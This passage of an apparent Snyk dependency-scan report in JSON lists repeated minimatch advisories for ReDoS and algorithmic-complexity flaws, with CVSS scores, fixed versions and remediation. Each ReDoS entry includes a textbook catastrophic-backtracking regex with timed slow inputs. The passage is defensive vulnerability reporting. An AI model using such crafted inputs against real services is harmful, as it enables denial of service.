aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ 